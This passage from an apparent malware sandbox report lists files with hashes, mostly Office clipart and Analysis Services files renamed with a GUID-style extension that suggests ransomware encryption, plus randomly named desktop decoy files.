SSDeep: 384:hyWtmHNVVna5iRnCuGhpHiVYvxW/EmOJAr93ZS:hyWtmHDRnACVY9zO93Q 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.27 KB MD5: 53a99220e290dc518cd3188e948a0b5b
SHA1: 4e62056b6b05ae5c29131a224bcc7cb1ba433d82
SHA256: 430cd3c927d4a8d02c41129bd02b0651598bf3310dd998789dd43a333382e145
SSDeep: 192:U4GvrnA4XMcSiptkeLs8r5Vgh7ktkCp/6:N098jMtkeLs8FVzZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 25.22 KB MD5: 10411f16d11c9f0919bb7aa35b22b136
SHA1: 308b660b8b6a711047d2017124846e0054a96c65
SHA256: c57a664e2e6cef7a06e52a65766222d949b8587a2e0cbe87bb5616caeac31a52
SSDeep: 768:x5DtCFMFz0idrAyi5b1q2GPdnK1keVrjFAQ:XDoFMFIHy4Wns5XFAQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 25.66 KB MD5: 2446869e05f8c73f992d6475f5bfa3f4
SHA1: e3872deb4e9c1b5b13c1e107b609afbf1ebd8189
SHA256: 4d645682b8014f930d554d2344ada3245183c487b014e4712a005e90bbd91d26
SSDeep: 768:Ot1HHRwcRZDa7ol0vfuSbwZ0WYAsey8BfXXtCNCgQ:wNCcRZDan9bbWYAse1Bft5gQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 48.33 KB MD5: a298bf1702ddbd99ae1bcbcd49b11f87
SHA1: c843c35e25d578d5190d346bcb0b212a0bf4b805
SHA256: 917ae81c70d29efe18070fe44df6cfa1d6a5cac0b97fa21dbeafbf78e6f1284b
SSDeep: 1536:1FQVXb2asdUG4jobsJFJfFX9j5GQTgpm4HZvQ:zEXb2dfwZdX9UP5HZvQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 40.74 KB MD5: 82d525f491ca3cb46d0d4c32405aa9d0
SHA1: 127a1929dca4824a1b41f6f9874173e5fc229cb5
SHA256: dcfe8a9fe2442fdf70167cd57794f247568be589d1e8b5366234be7dcf2186ae
SSDeep: 768:f4ulipBif3TBZW9hSiVq20uzQJRbRNOaxPjNjBsb+YzkQ:fvKBifVZQvVq2wRCaxPjRe+YYQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 15.66 KB MD5: dc13c60bccdc4233711a51913d03c5f2
SHA1: a69b63237992fd3922c098acab234d9452a3ee7e
SHA256: b1b40914317cb927380e44ad2f297d0d498438c0fbd5ce3cec9ac371bb3dde94
SSDeep: 384:8nAkpv/1fpR/HhaK2vTjzX5rF3vuZRExDAZS:8nHdLJBuzX5532ZRExUQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 21.44 KB MD5: 4d4a47f458d966fab56e63091f76db15
SHA1: 5ce5ada20f08a9fd5634c27b8c68048d99777245
SHA256: b5957bb880962fb336bfb243d905135d0e713befd662b94b96967a308dc1cf8f
SSDeep: 384:419opK0tkFUr+Rqt9kNTLQOVDXQ1sQ9rSozkhR9yvrz8fJQRrbw3v1AqvO+Tv5Y7:ppKUkGr+RqT4TMOFZQsRhR9AsfaMvWCO 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 16.83 KB MD5: 24ae534203e51e9759af12233c1f931d
SHA1: ed096980464f945eaf769646b67ee1479e5da1e6
SHA256: fdced675596180b4c445d82358041f54076e5f07d198c8d27fc34b9550e8710f
SSDeep: 384:+QSBd70Acmmqp9Wdbg9ao8Yqj4Kw8rOC4ApkipMuJZS:+Qed70AcmmqmVg9a23KFaCHKyQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 14.14 KB MD5: 1605387989eca47e12540b4a0fd59515
SHA1: b4c627bc0762039c643412e13440b13275ffb5e7
SHA256: 74eacfbe63494dabb1b48b07190dbb2f4037da565705e767b4f928747c53a6c9
SSDeep: 384:22is36NNOF1qIZPrlKBZdlHfR5EegumalxC5L7/12ZS:29tN0FgI1sBZp5aumalx8bUQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 10.96 KB MD5: d8a060186fdf2e6d29eafdee018ed453
SHA1: 3539f2ca5697936571c1bb19c67dab1b443a1ef8
SHA256: f0acd48a030d60627911d0daa78ab78aed721a948e3416d6ee48f7820c45e629
SSDeep: 192:oP9ptVAZOpaRxC7cyAF8Wsv3x3lX+pAm5u7ktkCp/6:6VqOpaRxpFLslM55ZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 12.27 KB MD5: 97af06dcd1d886b3b6747d211af785e0
SHA1: ee9db7ac7e24e445a65f21abe7d22efe9c4fb362
SHA256: 3b87effc5ca11fc1f0cd9f122218384b928188035ef35138b942c2168d15a551
SSDeep: 192:X/q+5/JiIcUzWzvXnPOg2wW9PzQOELoNC37RGzzT4j+lu+8NTbWBiVVz7ktkCp/6:vq0/pWzHOgKQvLpR0ciuBN3s8MZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.14 KB MD5: bef937c731086ca2e7fda4c3565dbd64
SHA1: afa26fd45311226bc54b66f8a66684000fc5d9dd
SHA256: 7c3ee587adc9fe46eb75b8eca2d98ff20cedcec77c185997b6b09f0fce32525a
SSDeep: 192:9neciX7iENjq/nMQmfgAfodzh8nvinHPtQPk7ktkCp/6:9nZwiE0/MbgAfoQqnHl2ZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 2.46 KB MD5: 04c74ed0bec6b1b9c3c5f04020504df3
SHA1: 0b3946735ff2bfa3e8f06fe7dbe6403ca67ccecf
SHA256: 5b5352311a9d4fe29dd26c01bb8e144615fbf0903a9283af8f7765c5323f3345
SSDeep: 48:QO9b8kS6kc4db+zWmu3QyiRwvL9CVR5kFj93+39rQpR62idl6rKj:r4Is5+HvRwD9CV7kFj1+NrQpwZ66 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 11.38 KB MD5: d451e1285a4b72646e314bdce9a49b9c
SHA1: 8cd999295d63c216c1363bf673b59a2dae039961
SHA256: 4d154fb8be0785eb0ea446226d79502256773f71377558cfaa5c60e33f84757b
SSDeep: 192:05O+2vs1rA7DdfotKunCEBqLyEDJ5UuOPlxvo3ulTxGfM+7FzP34HKY52IVStKpk:HNs1s7i4tyUcPnvo3ffM+7FzAHKg2IVk 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 2.89 KB MD5: 068f0184b65f336c035cce64c962ded4
SHA1: 20257686a643ad48ed7031b2ce0ba7718a8de72b
SHA256: 3dcd43a788efc0dbb9ef7424fcd1f0224495dab118570130ae6445558cc1ccf4
SSDeep: 48:xukLTjob8Jd7GjugzFGRahOHQVbay4hSc9j1Cb3boVR5kFj93+39rQpR62idl6ru:xu4Tjob0dKqgpGRayQV2y4hScj1CTbod 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.13 KB MD5: b0246b9de213c54d29d102075fc969c5
SHA1: 8d14d30117562e6d5f5aa90b445f4721001bb871
SHA256: c8eaa06d45b5c4ae3e3b205ca1f769f9b9559299b17c958f4dbd21f923e076de
SSDeep: 96:Wfr1N27ZhBKUCUNZS1auNgwB1ir69FV7kFj1+NrQpwZ66:cr1OZXKUC+ZElir6p7ktkCp/6 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\AD1fEuPe-JoJAF.bmp 73.92 KB MD5: 36ac7db6ed19eceee5e4b2a9c16050c1
SHA1: 836db173301301ad241c157d78300b11207ae4c8
SHA256: 6b0a8ecb42fb37919bcbbeaae5d3292e427521a498fd8207e870038e78ad6684
SSDeep: 1536:fqgt9xpzfGwz5GiPIMd9h+GicLtNx+YSJAszO7OxinCOxjVjAh8DZbSdghZQ:SgJpzGwz5lwaDicBX+/JEAgRjVjNtS4Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\aryXZJ1kbopy8.gif 12.77 KB MD5: ee2b30ac48eb48cd806399be9eb3cbf1
SHA1: f8112a39dced0df74f1661e9f2f861e651862c98
SHA256: 531a19d67811e0bff86f43ece06e1f18ae3c35f63dc8685b3e5009d910454eb2
SSDeep: 192:025YYYUX4ZcX+xGfxHC3N5b09uz5RdRj9q+WV43TGX7rRF3NCNRbNgrQbNYcfp7D:75U6NoHb0o/d2J46X7xCNR5gsbkZS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ECG ve.jpg 37.30 KB MD5: 32373bf88a3dde171ae1189593d5b6f6
SHA1: fe49c87388341c79b543e9f8431ee0dcdc1425e6
SHA256: 90f3600e41e10e09659751cb38f42ced4172b010cba799b5012aa8f1b1b76741
SSDeep: 384:HkFXzkKatyWb4zj0NSKE+PYlauXc2jlzIgztFfUg6AYZkocgl1CHcYixwMMturKp:E6KMnzQz3fUBA4kocVHcU6OuQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\fTn7T2r1c_emodCz.doc 62.24 KB MD5: b114dd87cff65de260d2889faad7e5ce
SHA1: fff1da41a56d7a2af1dadf855a10b0bab19c36cd
SHA256: 2e7717881441c5472671beb38f303226c5839722c18f9728abe48ee5d1c9075b
SSDeep: 1536:aqK+tIVDl0rUYR9SjEzHXbSyNwUIWpKK12HtlUoaVglbke6zwWQ:c+t+D+dzSGHXUUIWkKGKv8KwWQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\fVnmRgB.avi 54.97 KB MD5: 81ec9164844eac9b5f8b608047d26f17
SHA1: fde804407bfd094d2a5e17b8de6e8a1043ab474b
SHA256: 18bcbc4af5208b1d3753457d044aaaea3e911c00dfd65c4423b6653097a83b47
SSDeep: 1536:+JVSNyDhCk7JdxWlaqI/1GjMuOgX9k8NG2IQ:eMNyDhRV2FIQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\qhBkqrc.mkv 4.63 KB MD5: b40676380fc6cc276bb435037565f4c7
SHA1: f95020d3301bd2c54e1d5dc6619dd97c21e166c7
SHA256: 5521cc1436f80b26811a2aff4d439eb176e1229fa1085b54f5cf348c9ad1723a
SSDeep: 96:02WdfXF14yAoN6JP8opzsOj/uni0HoQJIHzV7kFj1+NrQpwZ66:02W+y1EaopzJzun5obx7ktkCp/6 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\r3y7E.jpg 75.52 KB MD5: d5d03a5a474ec0f903196f63c3e1d73a
SHA1: a78a822236de8e08fa85fc6f523e6b06fb5f0b5f
SHA256: 697dac4fd1e0fdf4c6d878326e138f82a2feeb5cb266bbe0eba56a80db6e36c8
SSDeep: 1536:lbMYzKAvVc5ATV5AvKameaWuSZsbV9RU3AzXJq90PJV2xn4RCEsBoqQ:loYzpVcCTf8Ka9ZsLeQlgmV2SRCZBNQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wm9M_.mkv 96.98 KB MD5: 6199c3baa83dbb46bcfed00f094f7bbb
SHA1: b90e6b63c47ae718030841f047f3af55dcc8316e
SHA256: efbdb7dd24fc54bb0f7be39a3cca8b307df0d4a06c6098c28c5d622dde268898
SSDeep: 1536:gNIYIXfKqinOzviE+30UNbUWVuzksl6PZYsHPvvMI8QgjCls2gHM4KsihOz3f6Q:gnIv/eOWE+3OKMkswKsveQgzHBF3CQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\y715JtsFgsckGK.m4a 83.48 KB MD5: c17559a1b995c229b10a765c588fd661
SHA1: ad81d8de003ad45c12c8706f2b1173a1e76a8b1e
SHA256: 0575b8a31b95c5f63ae08ff3b3b1a0ccdbef16c4a4e4c1213770ee8249099cbf
SSDeep: 1536:URreaPlI6UKI0Tq/Az2cvm1QTxEcuIoiSxyfYKUM9uISEQ:URr9u6UKI0Tq/AzLv8QTxE1txmUM9CEQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\YGBd2EF3nJPV FL.jpg 25.50 KB MD5: 7dcdc311f6d8c024cdfac89d344defc9
SHA1: c10de7cf99f3da343c69a88d3262ce716623a42f
SHA256: 987e0ac8902248ce0998c17c8489012a6f705d39a991721c13913e719aed2d11
SSDeep: 768:+ddXxqHXm4kQigU8TMipArTyKL9pUU8FqmQuhvF3WGQ:+RqHXm4khMMqqT7JpUUsNF3WGQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\emB6IjF2pK\oY8E-mKrU.wav 38.78 KB MD5: 711e277cb1e0e4114d49eaacb13da1c8
SHA1: f626cb54b3032776c6662fe3dd91a52b17e359fa
SHA256: 388e70eefc68a1df56f7107ca4c293744100d061a0735553f4f062d8ce5fe83a
SSDeep: 768:I9qzaOVU86Gt7KiRPhI+/okyDwOds80ONj3xTi4F5S9OcT+hQ:IBOe8XXRjokyfdbJxZ+9FihQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\1fK-hQdNTXS9w5uW.m4a 19.39 KB MD5: cd13ec89f7840d8fe89b6d4348cffe0e
SHA1: 3f217c9cfc2b52eb6bf8a32a8368ec07d53c4a5a
SHA256: 761d7915de25a4c8089c8dae81434315137bbf572091f6459133b472c1ee09a5
SSDeep: 384:KIq0K1bJ9/1gQ/MVa3/jAcfw0O6OQXpW9a3qe34wcLOTfNoy52ZS:pzKx/1zM83rAcfwbiayo5ANXkQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\6dK-r9n-.png 19.39 KB MD5: 43974aed78446c949e549025ec8761e5
SHA1: dd3f055ad4f2b2ae7b790f399aa6ea8dae97581b
SHA256: 98e182ac3a6bf41d1b071031fb3a09e64ad4b2c7d5179bd0b8d3ec935927a66a
SSDeep: 384:6LPxGc3LJrUqmN2acosD1QZ8gR+TjEBBCZzxEggR/Cgsz5kVZS:iQgBtKPZD+Tj1ZNoR/2sQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\wtK_2YqaV6Q RdnP6P.m4a 97.73 KB MD5: a974962741f27cb1ea9cffed31e6e41a
SHA1: 194832341f5661fb7cfd7dde24422cbe81284594
SHA256: a937580c4f28ec0ed1a4e0655d464207e11ecb89f500fd2a271652c1fbda5c04
SSDeep: 3072:QX+a8oX8Dqj9A2peNXUmgs6VbPbxi07F9SamlQ:QX0Y8DGu2pCUmGxP97FQamlQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\zC6d4eJXAWX1.bmp 16.75 KB MD5: 22b60a19d7426d0a3178c8ff86cf1192
SHA1: 4013b5d730fb415cf703bf12bcd381b565250bfd
SHA256: e68b1dc7c96b321aef06a61a4713b97ab825af435a1dbbe6e7c21cd6c0bb20f3
SSDeep: 384:SR/bpUlXTblf6TTiE/jg6fVLeWhJG12G2QbRlfqY15RZS:SRtUlXNfWTBjgK4s0125aLqYlQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\HmaHtS6w_PH5.mp3 63.75 KB MD5: 3ed5989d960a9916da184c16c643532a
SHA1: bffd6431c7c642233d0c7112c9d56d4bd36fd3c1
SHA256: d64e5fd0221c0dcdbfd520da840e844600adc1089e82bcc6d68d3786568d1112
SSDeep: 1536:f/pp6S1prQSaRi9j0FYopu3InWH3e1Jaw2Q:npprpkRu4Yopu3IWHGJCQ 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 18.31 KB MD5: 260558227865bf3301cc95413529948c
SHA1: dd57555263340e5be76cdc0bf4e3674a4ee7ef7b
SHA256: 02550e00a4a3044c4b98a98863275b1cd9ead1ab134481bc01fff11e7ff6b073
SSDeep: 384:3GRJO193YXDItKPZMYOjN2GmIwLHe1yVI7S/SHVzBi8fad/ZS:3GRJ493CI0LOZ2G3uHe1WDI9Bi8m/Q 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 31.69 KB MD5: c635eeeadbbad102bc2d61b67d3b0fd6
SHA1: 8bbcb15dc52c4ea5785dd1420ae117cdf240f139
SHA256: d1c71ebd519ac09f33ec0c4687d17c3d9794f83d448e238d68ecb22cbf3eb49a
SSDeep: 768:uN3tc9smSU/SeobINRUrMHKSNI02/mX8tdl6ueDrF6bUOQ:uNdkB/EbyKSnRXQ7SnOQ 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 29.77 KB MD5: e588d0981feaa1be88980b788c9c1c3c
SHA1: c0bac7239884abc0cf4269a6bb77d2e92b814bae
SHA256: 4517cc5d0c07d13857e4aa77e7fda23fadbc6511373915b63ebfe44f7d469b8a
SSDeep: 768:lWGRv/yeXv36g/T4nxMpZ3mwENWpwyjKHlq/OxOskt5jQ:J10g5pZWwqkh+Fq64ttQ 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 34.74 KB MD5: df1c4e19be8acd6d0bb71d3e83cc4b13
SHA1: fd3647755cd1bdcec61680a96669ee80b3709f33
SHA256: 2a807e32e23fe84976a268fbbb97f7121d6f6d6ce9c1a5dddd44d30664275a60
SSDeep: 768:2aJhIAXwXXbHsWEtsqtMCp4uvS1eW5O6Rvmp+0NilUVm9Q:nJKZIbC+S1emRupzTVm9Q 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 32.86 KB MD5: 9a31fcebe46a3e07dcb1654d810dea68
SHA1: 342fd1cb02a81a4d079edff3dbd9fcc97afa8eb1
SHA256: eb0eef26faf413730bb20615cd8b32a7e7111d2cbcc09495e52500961f143cfa
SSDeep: 768:qLcjHEpToJZFbbasXp1naE0g1sbOMUuwswlFQ7ybrUQp3YScQ:qLokpToJZFdXp1T0BqM2FQGpp33cQ 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 30.56 KB MD5: 2c4c7c4a9f1dcf68556fb623bec45d6f
SHA1: 5b452619c1533fe1b195d35edd95eb9b3625125d
SHA256: 21bc657a31010ed02ee7db242300ec4445cc29d1a41e687600ef92c9e94ceb36
SSDeep: 768:GGQxRROlFmuRO3D+M5IBYEMNwrAFKdPdE9yySId1MlEQ:cfOlFm6OivMNwrOKdlkoId1MlEQ 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll.-16C06E83-81AD-7D23-B247-5A57886B0D29 652.34 KB MD5: 6ce58501dd744c3426852a3cf53aed9b
SHA1: 49b97ff02e468a51d99920dd8a344086c6095cae
SHA256: 48bca65f90fc25539aaadd4a83c7e1e6222207d125292b9443a56a193ec17cf9
SSDeep: 6144:JVG5g4GLrhwG4AQWmiYn5MCBJCDrvR9SRpN4bULEW:JVG5g4GLrhwG4AQWmiwMCBJC3qRn/L5 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll.-16C06E83-81AD-7D23-B247-5A57886B0D29 15.99 KB MD5: a999aebae69822609de294e273a3d105
SHA1: 74394d6ff6a070358e4a17949c38d78895723ae0
SHA256: c77221031fe762e4d7c17673ebd24b8c36c519f4bb6058ed9a4a3f152e7f22d6
SSDeep: 384:ve0RTLOk/tTDpQ/cSDbC1dynCEYs8AFrbfcZQpijfYZS:veM/tTC3AU8Orrc0oYQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 10.28 KB MD5: 3c711e0988ce52c373efebebaa68afd4
SHA1: cca147da528d758acdc88e66d13595b434904a89
SHA256: c6dc16c2fc26768ec6af7436eeb48e3fc138f822ba0e724aadf048469428755e
SSDeep: 192:b/ejihvTVeR0uBfVvCRGf5ZBEjanWKovMqSMkiK7ktkCp/6:bGuhvTVeR06pCw5ZSWnxqS5iNZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.64 KB MD5: ee72d5626645932292f30ca27ab9aaf2
SHA1: 88c142a6e5d2f0c7e4ef5471c2d4651c50eda753
SHA256: b5d942dfc106cab3b2b9757b09e984742c0c04d62b0d9d567c422158fc82384a
SSDeep: 96:kxl8EChrcgRbZrDvKbSRxFY7KsxvADedo+wlZoqtbeQ1fFyV7kFj1+NrQpwZ66:kxbCmgfNY7KsbwlZreQ1E7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 1.96 KB MD5: 04ac02ef9dadc844dcd508b114e771be
SHA1: b04c70a646daf292b1f5dd9ab72e1bedcf32978d
SHA256: e75c402c560fac11f49c711334278a0da42d81d7e1537d86c2c02957a19b9963
SSDeep: 48:Jma4j7qVmoqsq1DeNgt0VR5kFj93+39rQpR62idl6rKj:4a4j7uBqsqReWt0V7kFj1+NrQpwZ66 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 13.66 KB MD5: f608159ef45634abd9c233d14390498a
SHA1: ba0d54d232b8c4553f60e05b60a64c83794f61c8
SHA256: 61c9eff8d310f3ce43d4e9b0e477d48b98abda92a31698dfebb2daf220c637e3
SSDeep: 384:0MgTg/4OkZ9ngqPE6GMtYStanjCAQ0Q46jAZS:bgsQOkLndZtYsan+v46EQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.60 KB MD5: 27d2e41d4f5002447a482654df9c8d18
SHA1: 8d2ded8f13514f7f735730062933363969f46e88
SHA256: 70d1c3edeb62e2384b6af32f6dd07b865672c3b1df5ad01b30c99fc38ecfebad
SSDeep: 192:tmxewQaEsl/Xykb6PY6FT1ZL5H7ktkCp/6:t1El/ikb6w6FT35IZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.66 KB MD5: c557720eba80d358a90fae795fbb3d58
SHA1: e161417673f40079725561dbc1c3ede46a019e92
SHA256: e77575a045cc1ecc49b2c94e3082bee5958342fc629e3d63677145685d219bb0
SSDeep: 192:7qf1TBtVMXk0Q0VHh1SCbdMzhv7ktkCp/6:MBRM070D1xagZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.30 KB MD5: 2f0e95c29a8c72d70e21a6a306a8fc50
SHA1: da6d631098d384b00345f1280f2238a5db9bcf5f
SHA256: 4e0d57bd755bb77bf53e7571d375490434bcde13d7cbf84b1c48e9d928a4b96b
SSDeep: 192:0VPvKER46ap1P+5NpVvWHcYSC7ktkCp/6:09K56aIvO1KZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 2.58 KB MD5: 629e3d0afc58cee407fda5575a71897c
SHA1: 841aa919d4bc8d9e21fbfaa77c3929b68eb4fcc5
SHA256: 9c1cf1bed4622ddcdd4e250dc16411133f888f8c52e391dbaaaafe5b5428657d
SSDeep: 48:DQeFxWCg3AWzK8MV0DILgXibvVR5kFj93+39rQpR62idl6rKj:Dix3o8+0DILuibvV7kFj1+NrQpwZ66 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.88 KB MD5: e14a88b1d18dda69e75a19886cca6c3b
SHA1: 1a5b4836f33aad7f2090a199e4372f79dffca74b
SHA256: 4cbc08d91d0b3ab769cd5b6ca72edf8040cf2c6a3a62b30fd4e48aaf53252b48
SSDeep: 192:e0Nzc8i3wcfg6DlOJOIU7gqCO+gMgD0YVLNBk7ktkCp/6:z9cX3Y6+Oz7zvM0lbZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.85 KB MD5: d00f4d4453be1e4a8d0abbba336a84d0
SHA1: 28749b4fa0ee7b49b3ac9a2ef849536bd3633b01
SHA256: 9b2d038d332cf61aba79426e34c31f99631febad09ab229bc80e1002c4abf405
SSDeep: 192:z9O+kOoBBWMk0RK1hXm4AF528mHrmMidTc3f8O8NQ8Y4kKVUZD7ktkCp/6:zksKYMdRKDX828mHiTcx8NQ8zkQ68ZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.25 KB MD5: 9cd43098a3042006a94e54aea722b613
SHA1: 2b3f4cf4eac2b9d77ddba24540111b47a3548799
SHA256: 76563050f4a9baf5146b728c210fb0df1b8eef1c4c0024078d067429d0959fa6
SSDeep: 96:fqgZpIiMTVxdR6imYU+FIcRFNbhj3Y/7biVRtY3NnJixrTvjvF8MbW2XqZOWYcKD:flnMT5EYI4hsNJixDaa16Gb7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 10.50 KB MD5: 3448cfc1898abe7ab7df420737af419d
SHA1: dd44b21f6273e1801ae088d520acc6ab6f398cf1
SHA256: 7dac1c7e9367b725a3a7b427366757f55945e95208380858004f11780c607f38
SSDeep: 192:zsEztS2lEauKBXVR5gfe3mp20dGFJ/JMbJ8kK6fNdqOakn+7ktkCp/6:QE5SjUVR5g8YcQBzfnqOaWpZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.77 KB MD5: ceabf32832e4a4749dee662e35f0187e
SHA1: c542deb9860c2c3312ee72789a628e55ac1d4fdf
SHA256: d38842e884b81246c745a4051f797b497dd29aaa4096bfa0b83fde2570e159da
SSDeep: 96:nybqpQbmJhA96Yz310E3OTgTZUWk25+WuUAGdXV7kFj1+NrQpwZ66:yWVUB3mbkTZUjWuUN7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.52 KB MD5: f560bda38aa610e6cd103c9a7bf94888
SHA1: a9cd04e1392437795a915ad54d517f627460e20e
SHA256: 714032b2623c6df769b25dfd444090aa077b20cebe8ca058e51d63ee6f71569a
SSDeep: 96:T4gqNZwPw4iCLdIBlDjR98yvRtaY9NCAr/c7V7kFj1+NrQpwZ66:TZqNZwPwHUdIBlXT8Itaicp7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00010_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.42 KB MD5: e3f51277cbd8eb5deb3c5d8d18748701
SHA1: 98ffddbb8d94eb6368ead77ad02a85505f34667c
SHA256: 173dc1cb35a33a9233dd44057ab65cefe092382144d4148be0148eed0cf67493
SSDeep: 96:BzLa3LqevzDQsgAmoW74ZYYR+A4WOq310vjXNfvxoSAaCB8V7kFj1+NrQpwZ66:BvEqevHVgAmoWiYYR+A4WapzvCBg7ktQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.10 KB MD5: 4020dd86376bf131cb9bbf7d1142ad1c
SHA1: 17eb46bc92c987ea3266634fa59a98a66705b92b
SHA256: d72dc8ec9c223a7fcdafad93d434ce2561e87fd16270f7f8b68427b427e7d1fc
SSDeep: 192:hC7B6bruy7I7giY0kFg9j0SUnc7ktkCp/6:hpbfUEiYl8j0XnDZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 28.67 KB MD5: 58f2de3c8cd3360bdeda84e48e274b80
SHA1: 8297fc3f13ec88b945b17b4ce908b1444b0c143c
SHA256: 3969e3d7c36c714239f6d48aaeee490764cc4a20867711cbf9e59ce9456d0069
SSDeep: 768:s8OJabaldKhJM2Iz1d8tB5ubcGsiOYuRrPClQ:s87+AhlIJdwB9GLWOlQ 		False
...
